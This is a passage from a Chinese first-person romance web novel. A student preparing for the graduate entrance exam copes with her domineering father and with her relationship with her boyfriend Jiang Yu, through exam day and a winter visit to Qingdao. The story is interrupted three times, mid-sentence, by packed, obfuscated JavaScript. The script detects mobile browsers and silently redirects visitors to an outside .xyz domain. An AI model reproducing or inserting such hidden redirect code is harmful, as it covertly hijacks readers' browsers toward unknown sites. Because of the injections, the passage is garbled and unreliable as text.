但是,因为他是我爸,他就有了以学习为借口,惩戒我和谁玩的理由。 我爸瞧不起的羊汤店老板,生意再忙也把孩子带在身边,好好培养长大。我爸的工作再好,再体面,也掩盖不了,他抢走抚养权,又把我扔给六旬老母的卑劣。 这个世界上,不幸福的人只有我。 我每次想起这件事,都有一种要流泪的冲动。 其实,在爸爸打我那一巴掌之后的第二年,我奶奶便过世了。 往后寄住在爸爸和阿姨家的每一天,我都特别听话,我爸再也没有打过我,可我的世界真的缺了一角。 我总是努力说服自己,只看自己拥有的,不惦记没有的。但总有那么一两个瞬间,自怜情绪像涨潮的水一样,疯狂地涌上心头,根本不受控制。 - 刚开始和蒋峪好的时候,除了以前爱哭的事,我很少向他表露负面情绪。 不知道为什么,我只想向蒋峪展示我积极的、热爱生活的一面,想让我的爱人觉得我是一个乐观、开朗、积极向上的人。 可能在那时候,受家庭和性格的影响,我在内心深处,总有一种,“如果我不好,对方就会离我而去”的不安。 但是我真的忘了,蒋峪可是曾经偷偷观察过我哭泣,主动想要帮助我的人哎。 因为十月中旬的时候,我没有去考第一批定向选调,我爸对我非常不满意,接连打来电话说教。 “你上次没去考,我也不和你计较了,但国考省考总要去考的吧?” 我爸掌握着我所有的信息,在这个月和上个月,分别帮我报名好了国考和山东的省考,一步到位,都省下联系我了。 但我的备考时间表真的很紧,我不可能一边参加国考省考,一边又准备考研,除非我有两个头,四只手。 人的经历是有限的,顾好了这个,就顾不上那个,但我爸不相信。 “只是一个考试,你试试,万一能行呢?考不上又不怪你,去长长见识也行。” 爸爸口中的只是抽出一天,在我这里等同于2n天。 他帮我报了名,省下选岗了。但我仍要抽出时间,打印准考证,如果考点比较远,我还得订酒店,订了酒店,我势必需要离校提前到那里。这并不是简单一天能解决的事情。 十二月是冲刺月,我也不可能抛下手里的摊子去参加一些毫无准备的考试。 我爸立刻生气了:“厉害得你,你就校准了你能考上研究生吗?” 又来了。我把手机拿远,微不可查地叹了一口气。 这样的说教,很烦很无奈对吧。 我今天不是很舒服,中午就从图书馆回来了。但心里又不敢懈怠,只好卷着被子,在床上背专业课。 我也会有备考进度焦虑,谨慎地不肯放过一点时间,但我爸却不愿意放过我。 “让你去考一天跟害你一样,怎么这样不懂事呢?” 我并不擅长处理亲子关系,每当爸爸发火的时候,我只会沉默。 我爸是有着二十年教龄的初中语文老师,在他的理解能力里,解释=顶嘴=不服管,那我干脆就不说话,可这样也不行。 和小时候的我相比,我唯一长进在,不会当着他的面哭了。 “好的”“对不起”“我明白”,在我机械的重复里,爸爸终于把电话挂了。 我撒开手机,直挺挺地躺在了床上。 我心里有一种急切的紧迫,我不是要考研,我是要必须考上研。 我必须要在彻底进入社会之前,攒够离开家的本事。 可是,这个前提是,我先能考上研啊...... 家长最势力,孩子有用,他才愿意来爱你。但我变有用,是为了我自己。 强忍着情绪,我又坐起来,背完了剩下的一点尾巴。 等我回过神来的时候,饭点已经过了。蒋峪在五六点的时候发过消息,拍了他的晚饭给我看,他最后一句话是问我有没有休息好。 盯着和蒋峪的聊天框,我并没有要把下午发生的事告诉他的打算。因为我们都很忙,我不想把珍贵的相处机会在这种事情上用掉,反正我都习惯了。 我情绪拧巴的地方在于,明明是我不愿意说出来,可我还是觉得很失落。 我为什么会失落呢?是因为在这件事情上,我需要蒋峪提供情绪价值,但爸爸教训我这种事在我的生活里司空见惯,从而变得无关紧要了吗? 我不知道。 肚子先于任何事情叫了起来,我不得不从床上下来,准备去找点吃的。 学校的餐厅过了饭点也有夜宵供应,我买了一瓶可乐,又买了一叠高热量的炸串,我努力让自己的情绪好一点。 一边吃,一边在想明天早上吃哪个窗口,然后,我就在不远处的一张空桌子上看到了蒋峪。 不止,他对面还坐了一个女生。 女生低着头,身上披了一件宽大的外套。而蒋峪挽着袖子,身上只有一件连帽卫衣。 我直接呆在了原地。 理智尚存,我掏出手机问蒋峪在哪里。 我看着不远处他低头摆弄手机,回复我:在齐园。 消息同步,他没撒谎。然后对面的女生不知道说了什么,蒋峪把桌子上的纸巾盒往女生的方向推了推。 大概是心有灵犀,我紧紧盯着蒋峪的时候,他终于发现有人在看他了。 对上视线,我立刻生气了,直接站起身,端着餐盘往出口去。 天啊,我遇到渣男了吗?难道他是一个中央空调? 我在心里恨恨地想,蒋峪怎么这么喜欢给女孩子递纸巾,擦眼泪呢? “汪意点。” 蒋峪很快跟过来,他腿长,几步追上我。 我拎着没开封可乐,像揣着一把自卫武器,轻轻隔开我和他的距离。 但我还是要脸的,不想在外面拉拉扯扯地给别人看到,所以我没说话,只是板着脸往外走。 蒋峪喊我的名字,我不理会,他一路跟我走到外面。 “下来吃东西?怎么没喊我?” 我想到刚才,我被爸爸训的时候,我怕蒋峪很忙,都没有去打扰他。结果呢? 我感觉很委屈,委屈得不想再看见他的脸。“你不是去关照别人了吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417761|184707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没有别人。” “那是你的事。” 一下子走出餐厅门,风吹过来,有些冷,我瑟缩了一下。 但看到跟过来的蒋峪只穿着一件单薄的卫衣,我却下意识担心,他可别被冻感冒了。 可这都什么时候了,我还有闲心关心他,我觉得我真没救了。 出来得匆忙,餐盘被我搁到回收处了,现下手里没有袋子,我只好一手拎着可乐,一手举着几根没吃完的炸串。 这个扮相,想生气都有点滑稽。孜然调料顺着风吹进我的鼻孔,我没忍住,立刻偏过头去打了个喷嚏。 我觉得自己好蠢,一点生气的格调都没有。 蒋峪极有眼色地把串串从我手里接过去,问我“这样方便吃吗?要不要回去拿个打包袋?” “怎么不方便?” 就着他的手,我低头咬了一口鱼豆腐,狠狠地嚼了下去。 “慢点。”蒋峪怕串串的竹签尖尖戳到我的眼睛,手疾眼快地摁住了。 蒋峪一凑近,调料味的风也吹到他脸上,蒋峪用力皱了皱鼻子,没让喷嚏打出来。 他竭力维护形象的样子,直接把我逗笑了。 笑都笑了,刚架起的气势也飞了,我觉得我们两个人都好蠢。 我想找补一下,但不知道怎么开口,只好盯着他握着竹签的手,故意问:“你洗没洗手?” 蒋峪也笑了,他说“没有。” “那还是我拿吧。” 蒋峪空着的另一只手拉过我的手,“门口这么冷,我们进去说好不好?” 他只穿了一件卫衣,手还是热的。我穿着外套,在外面站一会就冰了,这个世界真的很不公平。 看在串串即将冷掉的份上,我们又回到了室内。 进了门,身上也暖和了,我突然感觉蒋峪的解释忽然不再重要了,我立刻平静下来。 再往那张桌子看过去,刚才蒋峪坐的位置,现在坐了另一个男生。 男生面前摆了几杯热饮,他的手从桌子伸过去,握住了对面女生的手,他们是什么关系不言而喻。 我立刻意识到了,蒋峪和那两个人是一起的,不是蒋峪单独和某一个人。 “到底怎么回事?” “情侣之间的一点矛盾。” 蒋峪吃完饭路过餐厅,结果误入情侣吵架现场,主角还是他的师弟师妹,直接地撞破了这段办公室恋情。 因为蒋裕和这两个师弟师妹根本不熟,他也不想多管闲事,但眼瞅着他们越吵越激烈,在更严重的肢体冲突发生之前,蒋峪及时出面制止了双方。 后面就是我看到的了,蒋峪把师弟支出去买热茶,留下师妹缓解情绪。 “奥。”我又看过去,那两个人站起来,显然是要准备走了, “那你的衣服呢?” “在那呢,我刚才忘穿了。”蒋峪露出一个无可奈何的表情。 女主和男主都走了,蒋峪回去拿衣服,顺便重新帮我买了一份夜宵,坐下陪我吃。 “你们禁止组内谈恋爱吗?” 蒋峪点头:“没说过,但应该不鼓励组内消化吧。” 我好奇:“如果不禁止会有人谈吗?” “可能有,但大概率少。”他摇摇头,又补充一句,“怎么会有人想和同事谈恋爱呢。” 蒋裕非常务实地认为,组内谈恋爱影响工作,他是绝对不会接受的。 “好吧。”不再关心别人的事,我专心吃饭。 等到我吃完最后一串鱿鱼须,开始猛猛喝可乐,蒋峪才问我:“今天不开心吗?” 我用手丈量了一个距离,小声告诉他:“一点点。” 蒋峪又笑,他被我冷幽默到了,因为我名字后面两个字也叫“意点”,由此可以生成很多谐音梗。 蒋峪也压低声音,“一点点女士可以透露一点点吗?” 关于我和我爸之间的矛盾,可能还要从他和我妈离婚那天讲起。但那样的话,实在是太长了,现在并不是和蒋峪谈这个的好时机。 如果具体到今天下午的话,就是我爸想要我在考研之前抽出一两天去参加国考省考,我不想去,他便训斥了我。 说完,我一直盯着蒋峪的脸。 蒋峪松了一口气,“不是学习上的事情就好。” 因为我和蒋峪都各有各的忙,所以我们给自己的事情设定了优先级。比如在我这里,学习就是排在第一位的,除了备考,其他所有事情都是小事。 考研前两个月是摆烂和弃考的高峰期,蒋峪见我不开心,以为发生了影响到了优先级的事。 我最后总结说:“只是小小的一点影响吧。” 虽然我爸是挺难搞的,但他的能量也没那么大。在我保研失败后,我好像突然觉醒了,觉得不舒服就不想理我爸了。 得知了事情的来龙去脉,蒋峪沉吟半刻,问我到底去不去考。 我当然不去了。月底24号就考试,一共二十天,我绝不能离开图书馆半步。 蒋峪说让我放心,他来想办法。 等我在他旁边刷完了一个list的单词,又刷了一个,我问蒋峪想出来没有,他思考了半天,最后给我憋出一句:“要不然就骗你爸说咱去了吧。” “......” “这可真是一个好办法。” 半个月后,我没用这个办法,也没去考,后果可想而知,但我真的没招啦。 5. 考研日 推免季结束以后,宿舍里剩下了两个考研人和一个考公人。等到十一月底,我便彻底住上了有暖气的单人间。 想留在宿舍里学习的念头冒出来几秒,立刻被我按了回去。 克服懒惰真是一件不容易的事,我把手机里面所有的娱乐软件都卸载了,只留下了微博和小红书,后者直接被我刷成了考试模式——一打开几乎全部都是考研相关的。 据小红书博主科普,只要正确选择学校和专业,然后按部就班地完成进度,在正常发挥的情况下,绝对能过线。 但,管理学除外。 每天整理完数学错题的时候,我都想咆哮发问:“为什么考数学和不考数学的专业要一起划线啊!” 如果给数三一个难度排名的话,我觉得是概率论,线代,高数。 概率论真的好抽象,我基础阶段的时候,从李良、余炳森,到方浩、张宇,每个老师的课都听了一点,后来硬着头皮做了《660》《880》才感觉摸出了一点规律。 因为大量的时间都用来学数学了,我的专业课只完整地背过三遍,这一度让我非常焦虑。 第一次考研,其实我不知道专业课背几轮才是正确的,我也不知道分配大量的时间去学数学对不对。 网上确实有很多经验贴,专业课的背诵动辄七八轮,我看到的时候已经吓死了。 我并不相信自己能够把所有问题都背下来,这是绝对不可能的,但我也没有什么好办法,只能凭自己过往的学习经验去灵活调整了。 蒋峪虽然走的推免,但他也围观过身边人考研,他有一位舍友跨考法硕,据说能熟练背诵整本几百页的考试分析,最后一战上岸清华。 备考这一年多,我最大的感受是,别人的经验只能用来参考,单个经验并不具备普适性。比如有很多人说,考前只背肖四足以过线,千万不要这样做。 文科也许行,但像我这种高中没选修过政史地任意一门的人来讲,一定要尽早开始刷题。 我不知道有没有人和我一样,越到考试后期越平静,我臆想中的焦虑和痛苦几乎都消失了,学习变成了喝水吃饭一样日常的事。 这一年,除了和我爸的几次交锋,我整个备考的过程也是非常平淡的。我留下的痕迹,少到都不能剪完一首完整的“一路生花”。 除了学习资料,我没有为考研多买一件东西,我照常穿以前的衣服,用以前的文具,坐以前的折叠椅,我尽量营造一种如常的平静氛围,我需要用稳定的状态去对冲备考的焦虑。 今年上半年的五月份,在整理完推免材料后,我在日记本里抄写了伍尔夫的句子:I am rooted, but I flow. 那是我最迷茫、最不安的20岁,不确定能不能保研,不确定能不能“上岸”。只能在晚上写日记的时候,抄写一些正能量的非母语句子,以乞求内心的宁静。 四个月以后,我果然保研失败了,但当我现在再回看这句话的时候,我心里只剩下了坦然。 我做了一张又一张数学卷子,背了一页又一页单词,默写了一遍又一遍专业课,默默无闻的日子折旧成草稿纸的厚度,我告诉自己,等一等,再等一等。 - 进入十二月,我取消了所有的娱乐,固定在上午学正直和数学,下午写英语卷子和背专业课,然后再花整个晚上复习数学。 我学习的时候,不允许任何东西打扰我。比如,如果我要写一套数学卷子,那我的桌面上只能出现卷子、草稿纸和笔,其他什么都不能有。 我和蒋峪还是各忙各的正事,有空会一起吃晚饭,等我学完习,蒋峪再来图书馆送我回宿舍。 最后的二十天,我们不再讨论生活中的小事,转而说一些学习上的事情,有意无意,我总想把自己整个人尽快调成考试机器的状态。 蒋峪从来不会对我讲,你太紧绷了,你需要放松这种话,他会一直和我说,相信你,你一定可以! 也许每个陪考的男朋友都肩负着督学的任务,但蒋峪就没这种甜蜜责任,因为我每天都比他起得早。 他唯一的作用就是提供情绪价值,我和蒋峪说他穿白色的衣服很帅,整个十二月,从纯白、米灰到卡其、浅蓝,蒋峪勤勤恳恳穿了一个月的浅色。 但真实原因则是我觉得他穿浅色衣服在一众黑色羽绒服里比较出众,有时去餐厅找他吃饭的时候容易找人,不过我确实没想到蒋峪有这么多衣服。 但这是我的秘密,我是绝对不会让蒋峪知道的。 已经彻底进入冬天,温度降低,天气转冷,再厚实的羽绒服也抵挡不住寒风凛冽,我不得不从户外挪回室内背书了。 每一天,我都裹着外套,端着资料,嘴里念念有词,一遍遍地从走廊这头,走到那头。 据说,机械的重复会带来质变,反复地背,不停地背,和尚念经不过如此吧,但我不用撞我的钟,我只需要把书背烂,然后静待一(活)飞(人)冲(微)天(死)。 考研前一周,我吊着一口气,进行最后一轮全面背诵。 背书好苦,真的好苦,我干瘪的嘴唇几乎每一天都挂着死皮,嘟囔到口干舌燥也不敢停。 “最后一遍。”我恶狠狠地鼓励自己,不厌其烦地再次默写下整个目录。 但当我开始回顾每一个分支,挨个打上红勾勾的时候,我突然灵光一闪,如打通任督二脉般,串联起了整个框架。 蒋峪说我之前啃的是肉,现在已经把备考资料内化吸收了,所以也看清了整本书的骨架。 我背过的每一个知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417762|184707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识点内化为那一刻的灵光闪现,如开心消消乐不断增长壮大的藤蔓,困惑被消灭了,我突然明白参考书为什么要这样编排了。 临近考试才进入心流状态,迟,也不迟。 我原本的焦虑被兴奋取代,仅仅是把笔记本摊开,都有一种要大干一场的冲动。 考前情绪高涨到底好不好,我不知道,但我已经走到这个时候了,我要去实现这一切。 - 12月24日,全国硕士研究生招生初试拉开序幕。 早晨,我在餐厅吃了一个土豆丝鸡蛋饼,在蒋峪略带紧张的注视下,完完整整背了一道与环境有关的肖四大题。 随后,我把包和手机交给他,镇定地走进了本校的考场。 第二天依旧如此。 最后一门考完的时候,是五点多,天还亮着,夕阳残留一抹橙色的余韵,考生们背着包,裹着厚厚的羽绒服,各自在冷冽的北风里行色匆匆。 没有喧哗,也没有奔跑,空气中弥漫的能量并不轻盈,连大家呼出的热气都带着冬天的厚重。 我的心底也闪过一阵莫名的失落。人生中或许不会再有比这还拼命、还努力的时刻了,我大学知识的终点,好像在一刻结束了。 蒋峪安静地站在我们约定好的一颗大树下面,逆着人流,他面容沉静地目视着前方。 看到他,我心里因为考试带来的一丝怅然被平静取代,有一种尘埃落定的之感。 “蒋峪!” “蒋峪!” 我摘下羽绒服的帽子,用力地朝他挥挥手。 蒋峪终于发现我,他不慌不忙地穿过人群,直直地朝我走来。 冷淡的香气比他的人先挨过来,我吸了吸鼻子,蒋峪笑了笑,一大束鲜花立刻捧到我的眼前。 “哇!”这是我人生中第一次收到花。 有大飞燕、洋牡丹、郁金香,绿铃草,清新的紫和优雅的白错层搭配,绿叶点缀其间,真真是一束超级美丽的花。 “花好不好?” “好!” “考得好不好?” “好!” “蒋峪好不好?” “蒋峪最好!” 现在蒋峪也是世界上最快乐的人了。 我们都好开心! 考完试这天晚上,我几乎什么都没有做,吃了一份简单的晚餐,不到九点就入睡了。 我第二天醒来的时候,天光大亮,阳光在窗帘缝隙之间闪动着稀碎的剪影,世界静谧如常。 蒋峪一早到了工位,和我说早安。 床头的鲜花散发着淡淡的香气,房间里暖气充足,我盖着轻薄不压身的被子,舒服地窝在床上。 这个早晨,如此干燥、温暖。 这一天真好。 6. 对不起 考完研以后的日子比我想象的要没劲。我陷入一种无欲无求的状态,仿佛失去了所有力气和手段。 我没有整理宿舍,也没有计划回家,每天躺在我的小床上,吃饭,睡觉,玩手机。 蒋峪第一次知道,有人可以不吃不喝,一觉能睡12个小时。 我身体力行地向他展示,还能更久。 蒋峪问我还好吗,我说我好得不得了。 在我因考研陷入情绪戒断期的时候,蒋峪一如既往地忙碌,弄论文,写报告,还有一些考核的事,我的闲,更衬托出他的忙。 以前我是用早七晚十二的强度去备考,从没意识到蒋峪其实也是大忙人。 我和蒋峪还是保持之前的见面频率,不过改成了我去找他,我们俩继续在同一个校区谈异地恋。 蒋峪对此适应良好,只是我有点不习惯。我觉得我和蒋峪真正开始谈恋爱是考完研开始的,我们从双“忙”变为单“忙”,迎来真正的磨合期。 在我一直以来的认知里,需要经常磨合的关系,是不长久的关系。如果事事都要磨合,都要通过深度交流才能走下去,那说明这两个人不合适。 不合适不代表人不好,只是鞋子穿错了脚,换个尺码就好了。 刚恋爱的时候,我和蒋峪没经历过什么磨合期,就顺利在一起了。我心里总有一种微妙的不安,我甚至觉得这不代表我俩有多合拍,而是我们还没遇到可以产生矛盾的事情。 蒋峪大概没接触过我这么拧巴的人,他不理解,但尊重。 就像男生对喜欢的人具有服从性那样,在我眼里,蒋峪是一个特别好说话的人,这样可以,那样也行,万事都好商量。 可能他唯一比较头疼的,是谈了一个回避型依恋的人吧。 我也见过蒋峪生气的样子,就一次,发生在我们在一起的第三年。 那一年,我是研一下学期,导师这边有转博的名额,但我一心想要早日就业,没有任何要读博的打算,所以还是放弃了。 我爸对此表示强烈反对,而我像翅膀硬了一样,在电话里和他大吵一架,气到浑身发抖。 至于这件事我爸怎么知道的,还要从他同事的孩子讲起。 我爸同事有一个和我同校的儿子,大我几岁,学软件工程的,研一转博,27岁就博士毕业了,他目前在我们当地一所大学教书,据说光安家费就有大几十万。 在我爸的认知里,我像他同事的儿子一样,也读到博士,再出来找一份教职,社会地位体面不说,又方便照顾家庭,再好不过。 好像女博士的头衔,不过是婚恋市场上装点自己的一朵花,而我不愿意这样。 我爸何许人也?文化程度有限的初中语文老师,一路评到现在的职称,优厚的退休金指日可待,他吃过的时代红利好到我想象不到。 但世界对于二十岁出头的我不是这样的,我要读研要实习,每月领学校的补助维持生活,生存焦虑每天都在追赶着我。 博士是我想读就能读的吗?如果读不下去,学校能同意我再转硕吗?我能像蒋峪那样得到家庭的帮助吗? 很显然,不可以。 所以我不理解我爸,他也不理解我。 谈不拢,当然要起冲突了。 这可能是我人生中第一次挂我爸的电话,第一次说我不同意,第一次没有尊敬他。 但在我爸电话里骂我“翅膀硬了”的时候,我第一反应还是害怕,还是逃避。 家庭之于我,如同杂技团里那条把小象困在原地的铁链,栓了二十年,时间久到小象变成大象,也不会逃跑了。 该怎么说呢,在外面上学念书已经够累了,家里不说提供帮助,至少可以闭嘴吧,但我们家不行。 我特别不理解的是,为什么每当我的生活要变好的时候,我爸总要跳出来,吵一架,骂一顿,将我打回原形,直白地告诉我:你不配。 用尽全力,我也不过是想要做一个正常的人,怎么就这么难呢? 我和我爸抗争的结果,次次以微信和电话的轰炸结束,我把手机关机放进包里,只拿着校园卡在学校逛荡了一天。 蒋峪联系上我的时候已经是晚上了,我喝了一罐冰啤酒,坐在我们散步时会路过的长椅上,一边喂蚊子,一边玩手机。 找不到我这件事让蒋峪有些焦虑,他担心我的安全,而我又是一个什么都好憋在心里的主儿,不知道他会不会觉得我很难搞呢。 蒋峪神色如常,他帮我解决了剩下的酒,丢垃圾,拎包,和我走出去。 直到走到有路灯的地方,我才看出蒋峪不太开心。他抿着嘴唇,一句话也没和我说,在得知我从早到晚什么都没吃之后,直接改道去了食堂。 蒋峪有一个优点是,生气归生气,该做的事情还是会认真做。 然后我就得到了一个冷脸给我买饭,冷脸收拾餐余垃圾,冷脸帮我修改问题的男朋友。 我发现我确实是一个不会处理亲密关系的人。 我故意断联,害蒋峪担心,这是我的问题,然后蒋峪不开心了,我应该主动去解决这件事,哪怕沟通一两句,但我的嘴却像厚涂过502一样,根本张不开。 等我开口是不可能的,我们从餐厅出来以后,蒋峪已经哄好了自己,他问我到底发生了什么事。 蒋峪其实在半月多前已经看出了我情绪不对劲,我用期末搪塞了过去,但这个理由不能一直用,毕竟某人虽然没读过研,但也读了博。 “对不起......”我下意识道歉,然后成功噎了蒋峪一下。 道歉是一种狡猾的逃避,显然我和蒋峪都意识到了这一点。 他叹了一口气,轻巧地攥住了我的心,但我也不想说话了。 我感到很无措,每当面对有可能的冲突的时候,我的第一反应是逃避,因为在我二十年的成长经历里,只有沉默是最安全的。 而我觉得,蒋峪不会懂,因为我从来没有要求过他共情自己。 我问蒋峪是不是生气了。 蒋峪让我不要岔开话题,但我坚持,他很无奈地说有点,“你出门不用手机,我联系不上你,也会担心......” 但蒋峪情绪不高的更多原因是,他觉得自己不被信任,因为我什么都不跟他讲,宁愿自己忍着。 我是带了电脑出门的,只是因为心情太差了,一下午什么都没干。 现代人没有手机和失联无异,但世界少了一个我,果然照样转,除了蒋峪,几乎没有任何人会在意我。 蒋峪问我难过的时候,有没有想到他? 实话是没有,在和我爸吵完架以后,我谁都没想,我只想原地消失,但看在我俩之间气氛尚好的份上,我还是扯了个谎,说有。 蒋峪摸了摸我的头,他什么都没说。 这算是我和蒋峪第一次吵架吗?没有恶言恶语,没有针锋相对,我们很容易地宽容了彼此,和好如初。 我的心一下子变得很柔软,像夏日篱笆上被雨打湿的红蝉花,感觉自己要被泡发了。 事情以我的坦诚告终,蒋峪先接纳了我的情绪,然后接管了我的手机,换他和我爸“对线”。 转博是不可能的,我读研第一年就意识到我不适合读博了。我爸负气问我“那你考个什么学硕,早点出来上班不好吗?” 为什么选择读三年的学硕,当然是因为省钱了...... 蒋峪握着我的手机,同样露出了一个感到匪夷所思的表情。 看吧,我就说不止我一个人会觉得我爸有病。 蒋峪耐心解释了一堆,还欲盖弥彰地在开头输上了“爸爸”的问候,但他真是想多了,因为我爸压根儿没看出来不是我在和他聊天。 这个世界上,除了我阿姨,没人能讲通我爸的逻辑。我眼睁睁看着蒋峪的表情从平静,到无奈,最后他直接放弃了。 “宝贝,我们还是去超市买甜筒吃吧。” 我就知道会是这样! - 大四的第一个学期,我一直在学校待到过完元旦才回家。 蒋峪大年二十四离校,他大约有十来天的年假。在和家人过节前,蒋峪先来青岛找我玩几天。 他坐上高铁的当天早晨,我也在家门口送走了爸爸、阿姨和弟弟。 爸爸一家三口打算先坐高铁去烟台玩几天,然后从烟台做轮渡去大连,到我阿姨娘家过年。 这种可能令我陷入尴尬境地的场合,我向来是不去的,当然了,他们也没有要邀请我的意思。总而言之,作为爸爸第一段婚姻的遗留物,我留守在家最明智不过。 虽然家里没人,但我并不打算邀请蒋峪来。像我住的这种老式步梯房,邻里之间早就熟到毫无隐私,如果我和蒋峪的事传到我爸耳朵里,那简直是噩梦。 毕竟我们这个复杂的家,八卦多到已经不能再给别人增添谈资了。 我是在重组家庭中长大的,和大部分父母再婚的小孩一样,离开父母各自组建的新家庭,跟随老一辈人生活。 奶奶过世以后,我搬回了曾经短居过的房子,和爸爸、阿姨以及同父异母的弟弟住在了同一屋檐下。 按照世俗的眼光,这个四口之家,有儿又有女,再幸福不过。但这个家庭,只圆满了我爸爸一个人,一切都是他的儿,他的女,不全是我阿姨的,更不能是我的。 在我成长过程中,我确实曾因这事被邻居用有色眼镜看待过,但当我离开那里,上了高中,后面又读了大学,我发现根本无人在意。 这个世界上,没有人会关心,别人有没有爸爸妈妈,你走到山东的大街上,在胸前挂一块父母离异的牌子,还不如染一头绿毛吸引来的关注多。 正因如此,在蒋峪面前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417763|184707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也不避讳我的原生家庭,我并不将它视为出身的“污点”,如果蒋峪因此看轻我,那正好说明他不是一个值得交往的人。 彼时,我和蒋峪只是一对闪恋的情侣,远谈不上婚嫁的长远,所以我也对他进行了一定程度的保留,比如,我家其实没有任何人,再比如,成年后,我每年都是一个人过年。 不然,我要别人怎样做呢? 蒋峪有自己的家人,他必不可能在青岛和我一起跨年,我不想陷入沉默的尴尬,当然也不认为自己单独过年很惨,所以我一句都没有提。 甩开这一点点善意的隐瞒,我们这几天玩得还算愉快。 蒋峪把酒店定在了我家附近,我们很早就出门,去沂水路早市,新鲜的瓜果蔬菜挂着冬天的霜,海鲜冻货收敛着气味安静地躺在泡沫箱里,烟火气升腾早餐摊子上,早晨真好。 经过女大学生的科普,内陆城市长大的蒋峪不仅知道了带鱼就是刀鱼,还分清了大黄鱼和小黄鱼,太有意思了。 逛完早市以后,我们在路边摊解决早饭,吃大虾锅贴、萝卜馅饼、小馄饨、老油条还有甜沫。 青岛的早餐其实没什么特别的,山东人的口味大差不差,有些东西我在学校也能吃到,但总感觉不一样,蒋峪说是因为家乡的味道难以复制。 我直接发出一声爆笑,我一直认为自己有一个很破碎的家庭,我在爸爸和阿姨的家里,甚至没有一个完整房间,十五岁的时候发誓要离开这里,但说到家乡,我却总下意识想到是青岛。 非常多年前,也是在这个地方,小豆丁的我被妈妈叫起来,裹着笨重的羽绒股,带着小手套和小帽子上早市。 她牵着我徘徊在海鲜摊子前面,不厌其烦地一遍遍告诉我,这是什么鱼,那是什么鱼。 孩童世界里,散发着腥气,瞪着圆圆眼睛的冻鱼和恐怖片没差,我很害怕,呆呆地站在那里,妈妈却以为那是我着迷的表现。 零几年的时候,妈妈从早教班了解到蒙氏教育,并且深信不疑,于是,我不得不被迫早起了好几个冬天上早市去长见识。 蒋峪在冬天的冷风里听了这个温暖的恐怖故事,表示明天早起再来这里“看鱼”,被怕冷的我毫不留情拒绝了。 谁要在大冬天里,和男朋友冒着冷风看冻海货啊。 - 青岛的冬天也有响晴时候,呼呼的北风歇了,我们出门爬山,散步,喝热咖啡。 我不止一次觉得,我和蒋峪真正谈恋爱是从考研结束以后开始的,在学校的时候,他更像我的陪读对象。 虽然我们经常一起打球,约饭,不定期出门玩,但我和他相处的大部分时间都是在图书馆度过的。和我们俩一起约会的,也总是书、电脑和文具。 当考研初试的石头彻底越过西西弗斯的头顶,我感到从未有过的放松,精神舒展,脚步轻盈,我的快乐在蒋峪来青岛以后,直接达到了顶点。 这种体验很新奇,成年以后,我从未和一个人从早到晚地呆在一起,即便是窝在咖啡厅的椅子上,各自玩手机。 谈恋爱嘛,最关键的是谈,哪怕全是废话。要聊天,要说好多好多话,说到嘴唇发干,把自己整个前半生吐露个干净,还意犹未尽。 我们也会谈论彼此的家庭,对于我要在我家长这边保持地下恋这件事,蒋峪特别理解。 在青岛这几天,蒋峪每次都是鬼鬼祟祟地在我家楼下目送我进去,然后再自己回酒店。 蒋峪在他爸妈那边是什么都不避讳的,在我们俩好上的第二天,他就在家庭群里宣布自己恋爱了。这样一来,蒋峪家的单身狗只剩下芝麻和汤圆了。 这俩是蒋峪家里养的两只西高地,都已经做过绝育,是货真价实的单身狗。 蒋峪爸妈先是表达了对蒋峪的祝福,附带几条爱情保鲜秘诀,然后愉快地给他打了一笔钱,颇有一种自家多年滞销农产品终于被推送出去的兴奋。 经我同意,蒋峪发了一张我俩的合照给他爸妈。 通过蒋峪的手机,我第一次知道,全家都是高情商是什么体验。他们的三人家庭群简直是一个夸夸群,蒋峪妈妈发的微信有一句说“相信你的眼光,也相信意点的眼光。” 由此,我首先感受到的,不是蒋峪爸妈多开明,多友善,而是蒋峪爸妈真的特别爱他。 因为爱,所以相信,这是一种很珍贵的情感。 蒋峪在青岛的最后一天早晨,我们去看日出。 五点多就赶到海边,肩贴着肩,手着牵手放进羽绒服口袋里,在烟花噼啪啪啦的闪耀火光里,静待太阳慢慢升起。 金光笼罩大地,沙滩融化,爱人相拥,天地落进橘子海。 每当我回忆起这一年的冬天,脑海里满是柔软的记忆,奶奶过世的第十年,妈妈离开的第十七年,温暖的冬天再次降临在了我身上。 新年要来了。 7. 拟录取 大学时期的最后一个开学日,在我心心念念的复试准备中到来。 这半年有很多事要做,写毕业论文,准备考研复试,交实习材料,还有一些填表盖章的工作。 我提前几天回了学校,主动变成陀螺,每天勤勤恳恳地自转着。 在年初估完分以后,我便有一种强烈的直觉,我觉得我能通过国家线和院校线,然后进入复试。 